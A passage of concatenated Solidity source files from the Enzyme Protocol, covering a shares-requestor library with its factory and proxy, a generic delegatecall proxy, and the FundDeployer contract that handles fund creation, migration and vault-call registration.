}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title WETH Interface
/// @author Enzyme Council <[email protected]>
interface IWETH {
function deposit() external payable;
function withdraw(uint256) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../core/fund/comptroller/ComptrollerLib.sol";
import "../../core/fund/vault/VaultLib.sol";
import "./IAuthUserExecutedSharesRequestor.sol";
/// @title AuthUserExecutedSharesRequestorLib Contract
/// @author Enzyme Council <[email protected]>
/// @notice Provides the logic for AuthUserExecutedSharesRequestorProxy instances,
/// in which shares requests are manually executed by a permissioned user
/// @dev This will not work with a `denominationAsset` that does not transfer
/// the exact expected amount or has an elastic supply.
contract AuthUserExecutedSharesRequestorLib is IAuthUserExecutedSharesRequestor {
using SafeERC20 for ERC20;
using SafeMath for uint256;
event RequestCanceled(
address indexed requestOwner,
uint256 investmentAmount,
uint256 minSharesQuantity
);
event RequestCreated(
address indexed requestOwner,
uint256 investmentAmount,
uint256 minSharesQuantity
);
event RequestExecuted(
address indexed caller,
address indexed requestOwner,
uint256 investmentAmount,
uint256 minSharesQuantity
);
event RequestExecutorAdded(address indexed account);
event RequestExecutorRemoved(address indexed account);
struct RequestInfo {
uint256 investmentAmount;
uint256 minSharesQuantity;
}
uint256 private constant CANCELLATION_COOLDOWN_TIMELOCK = 10 minutes;
address private comptrollerProxy;
address private denominationAsset;
address private fundOwner;
mapping(address => RequestInfo) private ownerToRequestInfo;
mapping(address => bool) private acctToIsRequestExecutor;
mapping(address => uint256) private ownerToLastRequestCancellation;
modifier onlyFundOwner() {
require(msg.sender == fundOwner, "Only fund owner callable");
_;
}
/// @notice Initializes a proxy instance that uses this library
/// @dev Serves as a per-proxy pseudo-constructor
function init(address _comptrollerProxy) external override {
require(comptrollerProxy == address(0), "init: Already initialized");
comptrollerProxy = _comptrollerProxy;
// Cache frequently-used values that require external calls
ComptrollerLib comptrollerProxyContract = ComptrollerLib(_comptrollerProxy);
denominationAsset = comptrollerProxyContract.getDenominationAsset();
fundOwner = VaultLib(comptrollerProxyContract.getVaultProxy()).getOwner();
}
/// @notice Cancels the shares request of the caller
function cancelRequest() external {
RequestInfo memory request = ownerToRequestInfo[msg.sender];
require(request.investmentAmount > 0, "cancelRequest: Request does not exist");
// Delete the request, start the cooldown period, and return the investment asset
delete ownerToRequestInfo[msg.sender];
ownerToLastRequestCancellation[msg.sender] = block.timestamp;
ERC20(denominationAsset).safeTransfer(msg.sender, request.investmentAmount);
emit RequestCanceled(msg.sender, request.investmentAmount, request.minSharesQuantity);
}
/// @notice Creates a shares request for the caller
/// @param _investmentAmount The amount of the fund's denomination asset to use to buy shares
/// @param _minSharesQuantity The minimum quantity of shares to buy with the _investmentAmount
function createRequest(uint256 _investmentAmount, uint256 _minSharesQuantity) external {
require(_investmentAmount > 0, "createRequest: _investmentAmount must be > 0");
require(
ownerToRequestInfo[msg.sender].investmentAmount == 0,
"createRequest: The request owner can only create one request before executed or canceled"
);
require(
ownerToLastRequestCancellation[msg.sender] <
block.timestamp.sub(CANCELLATION_COOLDOWN_TIMELOCK),
"createRequest: Cannot create request during cancellation cooldown period"
);
// Create the Request and take custody of investment asset
ownerToRequestInfo[msg.sender] = RequestInfo({
investmentAmount: _investmentAmount,
minSharesQuantity: _minSharesQuantity
});
ERC20(denominationAsset).safeTransferFrom(msg.sender, address(this), _investmentAmount);
emit RequestCreated(msg.sender, _investmentAmount, _minSharesQuantity);
}
/// @notice Executes multiple shares requests
/// @param _requestOwners The owners of the pending shares requests
function executeRequests(address[] calldata _requestOwners) external {
require(
msg.sender == fundOwner || isRequestExecutor(msg.sender),
"executeRequests: Invalid caller"
);
require(_requestOwners.length > 0, "executeRequests: _requestOwners can not be empty");
(
address[] memory buyers,
uint256[] memory investmentAmounts,
uint256[] memory minSharesQuantities,
uint256 totalInvestmentAmount
) = __convertRequestsToBuySharesParams(_requestOwners);
// Since ComptrollerProxy instances are fully trusted,
// we can approve them with the max amount of the denomination asset,
// and only top the approval back to max if ever necessary.
address comptrollerProxyCopy = comptrollerProxy;
ERC20 denominationAssetContract = ERC20(denominationAsset);
if (
denominationAssetContract.allowance(address(this), comptrollerProxyCopy) <
totalInvestmentAmount
) {
denominationAssetContract.safeApprove(comptrollerProxyCopy, type(uint256).max);
}
ComptrollerLib(comptrollerProxyCopy).buyShares(
buyers,
investmentAmounts,
minSharesQuantities
);
}
/// @dev Helper to convert raw shares requests into the format required by buyShares().
/// It also removes any empty requests, which is necessary to prevent a DoS attack where a user
/// cancels their request earlier in the same block (can be repeated from multiple accounts).
/// This function also removes shares requests and fires success events as it loops through them.
function __convertRequestsToBuySharesParams(address[] memory _requestOwners)
private
returns (
address[] memory buyers_,
uint256[] memory investmentAmounts_,
uint256[] memory minSharesQuantities_,
uint256 totalInvestmentAmount_
)
{
uint256 existingRequestsCount = _requestOwners.length;
uint256[] memory allInvestmentAmounts = new uint256[](_requestOwners.length);
// Loop through once to get the count of existing requests
for (uint256 i; i < _requestOwners.length; i++) {
allInvestmentAmounts[i] = ownerToRequestInfo[_requestOwners[i]].investmentAmount;
if (allInvestmentAmounts[i] == 0) {
existingRequestsCount--;
}
}
// Loop through a second time to format requests for buyShares(),
// and to delete the requests and emit events early so no further looping is needed.
buyers_ = new address[](existingRequestsCount);
investmentAmounts_ = new uint256[](existingRequestsCount);
minSharesQuantities_ = new uint256[](existingRequestsCount);
uint256 existingRequestsIndex;
for (uint256 i; i < _requestOwners.length; i++) {
if (allInvestmentAmounts[i] == 0) {
continue;
}
buyers_[existingRequestsIndex] = _requestOwners[i];
investmentAmounts_[existingRequestsIndex] = allInvestmentAmounts[i];
minSharesQuantities_[existingRequestsIndex] = ownerToRequestInfo[_requestOwners[i]]
.minSharesQuantity;
totalInvestmentAmount_ = totalInvestmentAmount_.add(allInvestmentAmounts[i]);
delete ownerToRequestInfo[_requestOwners[i]];
emit RequestExecuted(
msg.sender,
buyers_[existingRequestsIndex],
investmentAmounts_[existingRequestsIndex],
minSharesQuantities_[existingRequestsIndex]
);
existingRequestsIndex++;
}
return (buyers_, investmentAmounts_, minSharesQuantities_, totalInvestmentAmount_);
}
///////////////////////////////
// REQUEST EXECUTOR REGISTRY //
///////////////////////////////
/// @notice Adds accounts to request executors
/// @param _requestExecutors Accounts to add
function addRequestExecutors(address[] calldata _requestExecutors) external onlyFundOwner {
require(_requestExecutors.length > 0, "addRequestExecutors: Empty _requestExecutors");
for (uint256 i; i < _requestExecutors.length; i++) {
require(
!isRequestExecutor(_requestExecutors[i]),
"addRequestExecutors: Value already set"
);
require(
_requestExecutors[i] != fundOwner,
"addRequestExecutors: The fund owner cannot be added"
);
acctToIsRequestExecutor[_requestExecutors[i]] = true;
emit RequestExecutorAdded(_requestExecutors[i]);
}
}
/// @notice Removes accounts from request executors
/// @param _requestExecutors Accounts to remove
function removeRequestExecutors(address[] calldata _requestExecutors) external onlyFundOwner {
require(_requestExecutors.length > 0, "removeRequestExecutors: Empty _requestExecutors");
for (uint256 i; i < _requestExecutors.length; i++) {
require(
isRequestExecutor(_requestExecutors[i]),
"removeRequestExecutors: Account is not a request executor"
);
acctToIsRequestExecutor[_requestExecutors[i]] = false;
emit RequestExecutorRemoved(_requestExecutors[i]);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the value of `comptrollerProxy` variable
/// @return comptrollerProxy_ The `comptrollerProxy` variable value
function getComptrollerProxy() external view returns (address comptrollerProxy_) {
return comptrollerProxy;
}
/// @notice Gets the value of `denominationAsset` variable
/// @return denominationAsset_ The `denominationAsset` variable value
function getDenominationAsset() external view returns (address denominationAsset_) {
return denominationAsset;
}
/// @notice Gets the value of `fundOwner` variable
/// @return fundOwner_ The `fundOwner` variable value
function getFundOwner() external view returns (address fundOwner_) {
return fundOwner;
}
/// @notice Gets the request info of a user
/// @param _requestOwner The address of the user that creates the request
/// @return requestInfo_ The request info created by the user
function getSharesRequestInfoForOwner(address _requestOwner)
external
view
returns (RequestInfo memory requestInfo_)
{
return ownerToRequestInfo[_requestOwner];
}
/// @notice Checks whether an account is a request executor
/// @param _who The account to check
/// @return isRequestExecutor_ True if _who is a request executor
function isRequestExecutor(address _who) public view returns (bool isRequestExecutor_) {
return acctToIsRequestExecutor[_who];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IAuthUserExecutedSharesRequestor Interface
/// @author Enzyme Council <[email protected]>
interface IAuthUserExecutedSharesRequestor {
function init(address) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../core/fund/comptroller/ComptrollerLib.sol";
import "../../core/fund/vault/VaultLib.sol";
import "./AuthUserExecutedSharesRequestorProxy.sol";
import "./IAuthUserExecutedSharesRequestor.sol";
/// @title AuthUserExecutedSharesRequestorFactory Contract
/// @author Enzyme Council <[email protected]>
/// @notice Deploys and maintains a record of AuthUserExecutedSharesRequestorProxy instances
contract AuthUserExecutedSharesRequestorFactory {
event SharesRequestorProxyDeployed(
address indexed comptrollerProxy,
address sharesRequestorProxy
);
address private immutable AUTH_USER_EXECUTED_SHARES_REQUESTOR_LIB;
address private immutable DISPATCHER;
mapping(address => address) private comptrollerProxyToSharesRequestorProxy;
constructor(address _dispatcher, address _authUserExecutedSharesRequestorLib) public {
AUTH_USER_EXECUTED_SHARES_REQUESTOR_LIB = _authUserExecutedSharesRequestorLib;
DISPATCHER = _dispatcher;
}
/// @notice Deploys a shares requestor proxy instance for a given ComptrollerProxy instance
/// @param _comptrollerProxy The ComptrollerProxy for which to deploy the shares requestor proxy
/// @return sharesRequestorProxy_ The address of the newly-deployed shares requestor proxy
function deploySharesRequestorProxy(address _comptrollerProxy)
external
returns (address sharesRequestorProxy_)
{
// Confirm fund is genuine
VaultLib vaultProxyContract = VaultLib(ComptrollerLib(_comptrollerProxy).getVaultProxy());
require(
vaultProxyContract.getAccessor() == _comptrollerProxy,
"deploySharesRequestorProxy: Invalid VaultProxy for ComptrollerProxy"
);
require(
IDispatcher(DISPATCHER).getFundDeployerForVaultProxy(address(vaultProxyContract)) !=
address(0),
"deploySharesRequestorProxy: Not a genuine fund"
);
// Validate that the caller is the fund owner
require(
msg.sender == vaultProxyContract.getOwner(),
"deploySharesRequestorProxy: Only fund owner callable"
);
// Validate that a proxy does not already exist
require(
comptrollerProxyToSharesRequestorProxy[_comptrollerProxy] == address(0),
"deploySharesRequestorProxy: Proxy already exists"
);
// Deploy the proxy
bytes memory constructData = abi.encodeWithSelector(
IAuthUserExecutedSharesRequestor.init.selector,
_comptrollerProxy
);
sharesRequestorProxy_ = address(
new AuthUserExecutedSharesRequestorProxy(
constructData,
AUTH_USER_EXECUTED_SHARES_REQUESTOR_LIB
)
);
comptrollerProxyToSharesRequestorProxy[_comptrollerProxy] = sharesRequestorProxy_;
emit SharesRequestorProxyDeployed(_comptrollerProxy, sharesRequestorProxy_);
return sharesRequestorProxy_;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the value of the `AUTH_USER_EXECUTED_SHARES_REQUESTOR_LIB` variable
/// @return authUserExecutedSharesRequestorLib_ The `AUTH_USER_EXECUTED_SHARES_REQUESTOR_LIB` variable value
function getAuthUserExecutedSharesRequestorLib()
external
view
returns (address authUserExecutedSharesRequestorLib_)
{
return AUTH_USER_EXECUTED_SHARES_REQUESTOR_LIB;
}
/// @notice Gets the value of the `DISPATCHER` variable
/// @return dispatcher_ The `DISPATCHER` variable value
function getDispatcher() external view returns (address dispatcher_) {
return DISPATCHER;
}
/// @notice Gets the AuthUserExecutedSharesRequestorProxy associated with the given ComptrollerProxy
/// @param _comptrollerProxy The ComptrollerProxy for which to get the associated AuthUserExecutedSharesRequestorProxy
/// @return sharesRequestorProxy_ The associated AuthUserExecutedSharesRequestorProxy address
function getSharesRequestorProxyForComptrollerProxy(address _comptrollerProxy)
external
view
returns (address sharesRequestorProxy_)
{
return comptrollerProxyToSharesRequestorProxy[_comptrollerProxy];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../utils/Proxy.sol";
contract AuthUserExecutedSharesRequestorProxy is Proxy {
constructor(bytes memory _constructData, address _authUserExecutedSharesRequestorLib)
public
Proxy(_constructData, _authUserExecutedSharesRequestorLib)
{}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title Proxy Contract
/// @author Enzyme Council <[email protected]>
/// @notice A proxy contract for all Proxy instances
/// @dev The recommended implementation of a Proxy in EIP-1822, updated for solc 0.6.12,
/// and using the EIP-1967 storage slot for the proxiable implementation.
/// i.e., `bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)`, which is
/// "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"
/// See: https://eips.ethereum.org/EIPS/eip-1822
contract Proxy {
constructor(bytes memory _constructData, address _contractLogic) public {
assembly {
sstore(
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc,
_contractLogic
)
}
(bool success, bytes memory returnData) = _contractLogic.delegatecall(_constructData);
require(success, string(returnData));
}
fallback() external payable {
assembly {
let contractLogic := sload(
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
)
calldatacopy(0x0, 0x0, calldatasize())
let success := delegatecall(
sub(gas(), 10000),
contractLogic,
0x0,
calldatasize(),
0,
0
)
let retSz := returndatasize()
returndatacopy(0, 0, retSz)
switch success
case 0 {
revert(0, retSz)
}
default {
return(0, retSz)
}
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../utils/Proxy.sol";
/// @title ComptrollerProxy Contract
/// @author Enzyme Council <[email protected]>
/// @notice A proxy contract for all ComptrollerProxy instances
contract ComptrollerProxy is Proxy {
constructor(bytes memory _constructData, address _comptrollerLib)
public
Proxy(_constructData, _comptrollerLib)
{}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "../../../persistent/dispatcher/IDispatcher.sol";
import "../../../persistent/utils/IMigrationHookHandler.sol";
import "../fund/comptroller/IComptroller.sol";
import "../fund/comptroller/ComptrollerProxy.sol";
import "../fund/vault/IVault.sol";
import "./IFundDeployer.sol";
/// @title FundDeployer Contract
/// @author Enzyme Council <[email protected]>
/// @notice The top-level contract of the release.
/// It primarily coordinates fund deployment and fund migration, but
/// it is also deferred to for contract access control and for allowed calls
/// that can be made with a fund's VaultProxy as the msg.sender.
contract FundDeployer is IFundDeployer, IMigrationHookHandler {
event ComptrollerLibSet(address comptrollerLib);
event ComptrollerProxyDeployed(
address indexed creator,
address comptrollerProxy,
address indexed denominationAsset,
uint256 sharesActionTimelock,
bytes feeManagerConfigData,
bytes policyManagerConfigData,
bool indexed forMigration
);
event NewFundCreated(
address indexed creator,
address comptrollerProxy,
address vaultProxy,
address indexed fundOwner,
string fundName,
address indexed denominationAsset,
uint256 sharesActionTimelock,
bytes feeManagerConfigData,
bytes policyManagerConfigData
);
event ReleaseStatusSet(ReleaseStatus indexed prevStatus, ReleaseStatus indexed nextStatus);
event VaultCallDeregistered(address indexed contractAddress, bytes4 selector);
event VaultCallRegistered(address indexed contractAddress, bytes4 selector);
// Constants
address private immutable CREATOR;
address private immutable DISPATCHER;
address private immutable VAULT_LIB;
// Pseudo-constants (can only be set once)
address private comptrollerLib;
// Storage
ReleaseStatus private releaseStatus;
mapping(address => mapping(bytes4 => bool)) private contractToSelectorToIsRegisteredVaultCall;
mapping(address => address) private pendingComptrollerProxyToCreator;
modifier onlyLiveRelease() {
require(releaseStatus == ReleaseStatus.Live, "Release is not Live");
_;
}
modifier onlyMigrator(address _vaultProxy) {
require(
IVault(_vaultProxy).canMigrate(msg.sender),
"Only a permissioned migrator can call this function"
);
_;
}
modifier onlyOwner() {
require(msg.sender == getOwner(), "Only the contract owner can call this function");
_;
}
modifier onlyPendingComptrollerProxyCreator(address _comptrollerProxy) {
require(
msg.sender == pendingComptrollerProxyToCreator[_comptrollerProxy],
"Only the ComptrollerProxy creator can call this function"
);
_;
}
constructor(
address _dispatcher,
address _vaultLib,
address[] memory _vaultCallContracts,
bytes4[] memory _vaultCallSelectors
) public {
if (_vaultCallContracts.length > 0) {
__registerVaultCalls(_vaultCallContracts, _vaultCallSelectors);
}
CREATOR = msg.sender;
DISPATCHER = _dispatcher;
VAULT_LIB = _vaultLib;
}
/////////////
// GENERAL //
/////////////
/// @notice Sets the comptrollerLib
/// @param _comptrollerLib The ComptrollerLib contract address
/// @dev Can only be set once
function setComptrollerLib(address _comptrollerLib) external onlyOwner {
require(
comptrollerLib == address(0),
"setComptrollerLib: This value can only be set once"
);
comptrollerLib = _comptrollerLib;
emit ComptrollerLibSet(_comptrollerLib);
}
/// @notice Sets the status of the protocol to a new state
/// @param _nextStatus The next status state to set
function setReleaseStatus(ReleaseStatus _nextStatus) external {
require(
msg.sender == IDispatcher(DISPATCHER).getOwner(),
"setReleaseStatus: Only the Dispatcher owner can call this function"
);
require(
_nextStatus != ReleaseStatus.PreLaunch,
"setReleaseStatus: Cannot return to PreLaunch status"
);
require(
comptrollerLib != address(0),
"setReleaseStatus: Can only set the release status when comptrollerLib is set"
);
ReleaseStatus prevStatus = releaseStatus;
require(_nextStatus != prevStatus, "setReleaseStatus: _nextStatus is the current status");
releaseStatus = _nextStatus;
emit ReleaseStatusSet(prevStatus, _nextStatus);
}
/// @notice Gets the current owner of the contract
/// @return owner_ The contract owner address
/// @dev Dynamically gets the owner based on the Protocol status. The owner is initially the
/// contract's deployer, for convenience in setting up configuration.
/// Ownership is claimed when the owner of the Dispatcher contract (the Enzyme Council)
/// sets the releaseStatus to `Live`.
function getOwner() public view override returns (address owner_) {
if (releaseStatus == ReleaseStatus.PreLaunch) {
return CREATOR;
}
return IDispatcher(DISPATCHER).getOwner();
}
///////////////////
// FUND CREATION //
///////////////////
/// @notice Creates a fully-configured ComptrollerProxy, to which a fund from a previous
/// release can migrate in a subsequent step
/// @param _denominationAsset The contract address of the denomination asset for the fund
/// @param _sharesActionTimelock The minimum number of seconds between any two "shares actions"
/// (buying or selling shares) by the same user
/// @param _feeManagerConfigData Bytes data for the fees to be enabled for the fund
/// @param _policyManagerConfigData Bytes data for the policies to be enabled for the fund
/// @return comptrollerProxy_ The address of the ComptrollerProxy deployed during this action
function createMigratedFundConfig(
address _denominationAsset,
uint256 _sharesActionTimelock,
bytes calldata _feeManagerConfigData,
bytes calldata _policyManagerConfigData
) external onlyLiveRelease returns (address comptrollerProxy_) {
comptrollerProxy_ = __deployComptrollerProxy(
_denominationAsset,
_sharesActionTimelock,
_feeManagerConfigData,
_policyManagerConfigData,
true
);
pendingComptrollerProxyToCreator[comptrollerProxy_] = msg.sender;
return comptrollerProxy_;
}
/// @notice Creates a new fund
/// @param _fundOwner The address of the owner for the fund
/// @param _fundName The name of the fund
/// @param _denominationAsset The contract address of the denomination asset for the fund
/// @param _sharesActionTimelock The minimum number of seconds between any two "shares actions"
/// (buying or selling shares) by the same user
/// @param _feeManagerConfigData Bytes data for the fees to be enabled for the fund
/// @param _policyManagerConfigData Bytes data for the policies to be enabled for the fund
/// @return comptrollerProxy_ The address of the ComptrollerProxy deployed during this action
function createNewFund(
address _fundOwner,
string calldata _fundName,
address _denominationAsset,
uint256 _sharesActionTimelock,
bytes calldata _feeManagerConfigData,
bytes calldata _policyManagerConfigData
) external onlyLiveRelease returns (address comptrollerProxy_, address vaultProxy_) {
return
__createNewFund(
_fundOwner,
_fundName,
_denominationAsset,
_sharesActionTimelock,
_feeManagerConfigData,
_policyManagerConfigData
);
}
/// @dev Helper to avoid the stack-too-deep error during createNewFund
function __createNewFund(
address _fundOwner,
string memory _fundName,
address _denominationAsset,
uint256 _sharesActionTimelock,
bytes memory _feeManagerConfigData,
bytes memory _policyManagerConfigData
) private returns (address comptrollerProxy_, address vaultProxy_) {
require(_fundOwner != address(0), "__createNewFund: _owner cannot be empty");
comptrollerProxy_ = __deployComptrollerProxy(
_denominationAsset,
_sharesActionTimelock,
_feeManagerConfigData,
_policyManagerConfigData,
false
);
vaultProxy_ = IDispatcher(DISPATCHER).deployVaultProxy(
VAULT_LIB,
_fundOwner,
comptrollerProxy_,
_fundName
);
IComptroller(comptrollerProxy_).activate(vaultProxy_, false);
emit NewFundCreated(
msg.sender,
comptrollerProxy_,
vaultProxy_,
_fundOwner,
_fundName,
_denominationAsset,
_sharesActionTimelock,
_feeManagerConfigData,
_policyManagerConfigData
);
return (comptrollerProxy_, vaultProxy_);
}
/// @dev Helper function to deploy a configured ComptrollerProxy
function __deployComptrollerProxy(
address _denominationAsset,
uint256 _sharesActionTimelock,
bytes memory _feeManagerConfigData,
bytes memory _policyManagerConfigData,
bool _forMigration
) private returns (address comptrollerProxy_) {
require(
_denominationAsset != address(0),
"__deployComptrollerProxy: _denominationAsset cannot be empty"
);
bytes memory constructData = abi.encodeWithSelector(
IComptroller.init.selector,
_denominationAsset,
_sharesActionTimelock
);
comptrollerProxy_ = address(new ComptrollerProxy(constructData, comptrollerLib));
if (_feeManagerConfigData.length > 0 || _policyManagerConfigData.length > 0) {
IComptroller(comptrollerProxy_).configureExtensions(
_feeManagerConfigData,
_policyManagerConfigData
);
}
emit ComptrollerProxyDeployed(
msg.sender,
comptrollerProxy_,
_denominationAsset,
_sharesActionTimelock,
_feeManagerConfigData,
_policyManagerConfigData,
_forMigration
);
return comptrollerProxy_;
}
//////////////////
// MIGRATION IN //
//////////////////
/// @notice Cancels fund migration
/// @param _vaultProxy The VaultProxy for which to cancel migration
function cancelMigration(address _vaultProxy) external {
__cancelMigration(_vaultProxy, false);
}
/// @notice Cancels fund migration, bypassing any failures.
/// Should be used in an emergency only.
/// @param _vaultProxy The VaultProxy for which to cancel migration
function cancelMigrationEmergency(address _vaultProxy) external {
__cancelMigration(_vaultProxy, true);
}
/// @notice Executes fund migration
/// @param _vaultProxy The VaultProxy for which to execute the migration
function executeMigration(address _vaultProxy) external {
__executeMigration(_vaultProxy, false);
}
/// @notice Executes fund migration, bypassing any failures.
/// Should be used in an emergency only.
/// @param _vaultProxy The VaultProxy for which to execute the migration
function executeMigrationEmergency(address _vaultProxy) external {
__executeMigration(_vaultProxy, true);
}
/// @dev Unimplemented
function invokeMigrationInCancelHook(
address,
address,
address,
address
) external virtual override {
return;
}
/// @notice Signal a fund migration
/// @param _vaultProxy The VaultProxy for which to signal the migration
/// @param _comptrollerProxy The ComptrollerProxy for which to signal the migration
function signalMigration(address _vaultProxy, address _comptrollerProxy) external {
__signalMigration(_vaultProxy, _comptrollerProxy, false);
}
/// @notice Signal a fund migration, bypassing any failures.
/// Should be used in an emergency only.
/// @param _vaultProxy The VaultProxy for which to signal the migration
/// @param _comptrollerProxy The ComptrollerProxy for which to signal the migration
function signalMigrationEmergency(address _vaultProxy, address _comptrollerProxy) external {
__signalMigration(_vaultProxy, _comptrollerProxy, true);
}
/// @dev Helper to cancel a migration
function __cancelMigration(address _vaultProxy, bool _bypassFailure)
private
onlyLiveRelease
onlyMigrator(_vaultProxy)
{
IDispatcher(DISPATCHER).cancelMigration(_vaultProxy, _bypassFailure);
}
/// @dev Helper to execute a migration
function __executeMigration(address _vaultProxy, bool _bypassFailure)
private
onlyLiveRelease
onlyMigrator(_vaultProxy)
{
IDispatcher dispatcherContract = IDispatcher(DISPATCHER);
(, address comptrollerProxy, , ) = dispatcherContract
.getMigrationRequestDetailsForVaultProxy(_vaultProxy);
dispatcherContract.executeMigration(_vaultProxy, _bypassFailure);
IComptroller(comptrollerProxy).activate(_vaultProxy, true);
delete pendingComptrollerProxyToCreator[comptrollerProxy];
}
/// @dev Helper to signal a migration
function __signalMigration(
address _vaultProxy,
address _comptrollerProxy,
bool _bypassFailure
)
private
onlyLiveRelease
onlyPendingComptrollerProxyCreator(_comptrollerProxy)
onlyMigrator(_vaultProxy)
{
IDispatcher(DISPATCHER).signalMigration(
_vaultProxy,
_comptrollerProxy,
VAULT_LIB,
_bypassFailure
);
}
///////////////////
// MIGRATION OUT //
///////////////////
/// @notice Allows "hooking into" specific moments in the migration pipeline
/// to execute arbitrary logic during a migration out of this release
/// @param _vaultProxy The VaultProxy being migrated
function invokeMigrationOutHook(
MigrationOutHook _hook,
address _vaultProxy,
address,
address,
address
) external override {
if (_hook != MigrationOutHook.PreMigrate) {
return;
}
require(
msg.sender == DISPATCHER,
"postMigrateOriginHook: Only Dispatcher can call this function"
);
// Must use PreMigrate hook to get the ComptrollerProxy from the VaultProxy
address comptrollerProxy = IVault(_vaultProxy).getAccessor();
// Wind down fund and destroy its config
IComptroller(comptrollerProxy).destruct();
}
//////////////
// REGISTRY //
//////////////
/// @notice De-registers allowed arbitrary contract calls that can be sent from the VaultProxy
/// @param _contracts The contracts of the calls to de-register
/// @param _selectors The selectors of the calls to de-register
function deregisterVaultCalls(address[] calldata _contracts, bytes4[] calldata _selectors)
external
onlyOwner
{
require(_contracts.length > 0, "deregisterVaultCalls: Empty _contracts");
require(
_contracts.length == _selectors.length,
"deregisterVaultCalls: Uneven input arrays"
);
for (uint256 i; i < _contracts.length; i++) {
require(
isRegisteredVaultCall(_contracts[i], _selectors[i]),
"deregisterVaultCalls: Call not registered"
);
contractToSelectorToIsRegisteredVaultCall[_contracts[i]][_selectors[i]] = false;
emit VaultCallDeregistered(_contracts[i], _selectors[i]);
}
}
/// @notice Registers allowed arbitrary contract calls that can be sent from the VaultProxy
/// @param _contracts The contracts of the calls to register
/// @param _selectors The selectors of the calls to register
function registerVaultCalls(address[] calldata _contracts, bytes4[] calldata _selectors)
external
onlyOwner
{
require(_contracts.length > 0, "registerVaultCalls: Empty _contracts");
__registerVaultCalls(_contracts, _selectors);
}
/// @dev Helper to register allowed vault calls
function __registerVaultCalls(address[] memory _contracts, bytes4[] memory _selectors)
private
{
require(
_contracts.length == _selectors.length,
"__registerVaultCalls: Uneven input arrays"
);
for (uint256 i; i < _contracts.length; i++) {
require(
!isRegisteredVaultCall(_contracts[i], _selectors[i]),
"__registerVaultCalls: Call already registered"
);
contractToSelectorToIsRegisteredVaultCall[_contracts[i]][_selectors[i]] = true;
emit VaultCallRegistered(_contracts[i], _selectors[i]);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `comptrollerLib` variable value
/// @return comptrollerLib_ The `comptrollerLib` variable value
function getComptrollerLib() external view returns (address comptrollerLib_) {
return comptrollerLib;
}
/// @notice Gets the `CREATOR` variable value
/// @return creator_ The `CREATOR` variable value
function getCreator() external view returns (address creator_) {
return CREATOR;
}
/// @notice Gets the `DISPATCHER` variable value
/// @return dispatcher_ The `DISPATCHER` variable value
function getDispatcher() external view returns (address dispatcher_) {
return DISPATCHER;
}
/// @notice Gets the creator of a pending ComptrollerProxy
/// @return pendingComptrollerProxyCreator_ The pending ComptrollerProxy creator
function getPendingComptrollerProxyCreator(address _comptrollerProxy)
external
view
returns (address pendingComptrollerProxyCreator_)
{
return pendingComptrollerProxyToCreator[_comptrollerProxy];
}
/// @notice Gets the `releaseStatus` variable value
/// @return status_ The `releaseStatus` variable value
function getReleaseStatus() external view override returns (ReleaseStatus status_) {
return releaseStatus;
}
/// @notice Gets the `VAULT_LIB` variable value
/// @return vaultLib_ The `VAULT_LIB` variable value
function getVaultLib() external view returns (address vaultLib_) {
return VAULT_LIB;
}
/// @notice Checks if a contract call is registered
/// @param _contract The contract of the call to check
/// @param _selector The selector of the call to check
/// @return isRegistered_ True if the call is registered
function isRegisteredVaultCall(address _contract, bytes4 _selector)
public
view
override
returns (bool isRegistered_)
{
return contractToSelectorToIsRegisteredVaultCall[_contract][_selector];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IMigrationHookHandler Interface
/// @author Enzyme Council <[email protected]>
interface IMigrationHookHandler {
enum MigrationOutHook {PreSignal, PostSignal, PreMigrate, PostMigrate, PostCancel}
function invokeMigrationInCancelHook(
address _vaultProxy,
address _prevFundDeployer,
address _nextVaultAccessor,
address _nextVaultLib
) external;
function invokeMigrationOutHook(
MigrationOutHook _hook,
address _vaultProxy,
address _nextFundDeployer,
address _nextVaultAccessor,
address _nextVaultLib
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
